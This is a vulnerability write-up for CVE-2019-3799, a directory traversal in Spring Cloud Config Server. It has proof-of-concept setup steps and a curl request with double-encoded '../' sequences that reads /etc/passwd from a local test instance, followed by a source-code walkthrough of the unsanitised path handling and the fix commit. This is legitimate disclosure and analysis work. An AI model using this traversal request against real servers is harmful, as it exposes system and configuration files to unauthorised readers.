CVE-2019-3799 - Spring-Cloud-Config-Server Directory Traversal < 2.1.2, 2.0.4, 1.4.6

Spring Cloud Config Server is vulnerable to a directory Traversal / Path traversal / File Content Disclosure < 2.1.2, 2.0.4, 1.4.6

Spring Cloud Config, versions 2.1.x prior to 2.1.2, versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack.

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Found by Vern ([email protected])

Security Advisory

Technical Anlysis

https://chybeta.github.io/2019/04/18/%E3%80%90CVE-2019-3799%E3%80%91-Directory-Traversal-with-spring-cloud-config-server/

Proof Of Concept

Download a vulnerable version of Spring Cloud Config https://github.com/spring-cloud/spring-cloud-config
Run the application

cd spring-cloud-config-server                                                                                                                                                                     
../mvnw spring-boot:run

Exploit

curl http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd                                                                                                    

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

The vulnerability

As always, by reading the documentation we can find the relevant information:

Serving plain text file: https://cloud.spring.io/spring-cloud-static/spring-cloud-config/1.3.1.RELEASE/#_serving_plain_text

The Config Server provides these through an additional endpoint at /{name}/{profile}/{label}/{path} where "name", "profile" and "label" have the same meaning as the regular environment endpoint, but "path" is a file name (e.g. log.xml).

Server provides these through an additional endpoint at /{name}/{profile}/{label}/{path}

Another intersting information form the doc:

With VCS based backends (git, svn) files are checked out or cloned to the local filesystem. By default they are put in the system temporary directory with a prefix of config-repo-. On linux, for example it could be /tmp/config-repo-

What append when we send http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd

The request is mapped with

https://github.com/spring-cloud/spring-cloud-config/blob/3c0348ca624f9f3b370797799a3608840fed2d8b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java#L71

@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile,
    @PathVariable String label, ServletWebRequest request,
    @RequestParam(defaultValue = "true") boolean resolvePlaceholders)
    throws IOException {
  String path = getFilePath(request, name, profile, label);
  return retrieve(request, name, profile, label, path, resolvePlaceholders);
}

The function retrieve call the function findOne

synchronized String retrieve(ServletWebRequest request, String name, String profile,
    String label, String path, boolean resolvePlaceholders) throws IOException {
  name = resolveName(name);
  label = resolveLabel(label);
  Resource resource = this.resourceRepository.findOne(name, profile, label, path); // path: ..%2f..%2f..%2f..%2f..%2f../etc/passwd
  if (checkNotModified(request, resource)) {
    // Content was not modified. Just return.
    return null;
  }
  // ensure InputStream will be closed to prevent file locks on Windows
  try (InputStream is = resource.getInputStream()) {
    String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));
    if (resolvePlaceholders) {
      Environment environment = this.environmentRepository.findOne(name,
          profile, label);
      text = resolvePlaceholders(prepareEnvironment(environment), text);
    }
    return text;
  }
}

The function findOne is called:

public synchronized Resource findOne(String application, String profile, String label, String path) {
  if (StringUtils.hasText(path)) {
    String[] locations = this.service.getLocations(application, profile, label).getLocations(); // /tmp/config-repo-<randomid>
    try {
      for (int i = locations.length; i-- > 0; ) {
        String location = locations[i]; // [1]..%2f..%2f..%2f..%2f..%2f../etc/passwd
        for (String local : getProfilePaths(profile, path)) {
            Resource file = this.resourceLoader.getResource(location).createRelative(local); // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
            if (file.exists() && file.isReadable()) {
                return file; // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
            }
          }
        }
      }
    }
    catch (IOException e) {
        throw new NoSuchResourceException(
                "Error : " + path + ". (" + e.getMessage() + ")");
    }
  }
  throw new NoSuchResourceException("Not found: " + path);
}

Then the function retrieve read the file with StreamUtils.copyToString(is, Charset.forName("UTF-8") that convert /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd to /etc/passwd resulting to the disclosure of the file /etc/passwd

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Fix: https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2

capture d'écran

From 3632fc6f64e567286c42c5a2f1b8142bfde505c2 Mon Sep 17 00:00:00 2001
From: Spencer Gibb <[email protected]>
Date: Tue, 2 Apr 2019 14:16:10 -0400
Subject: [PATCH] Cleans invalid paths

fixes gh-1355
---
 .../resource/GenericResourceRepository.java   | 165 ++++++++++++++++--
 .../GenericResourceRepositoryTests.java       |  18 ++
 2 files changed, 170 insertions(+), 13 deletions(-)

CVE-2019-3799

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CVE-2019-3799 - Spring-Cloud-Config-Server Directory Traversal < 2.1.2, 2.0.4, 1.4.6

Proof Of Concept

The vulnerability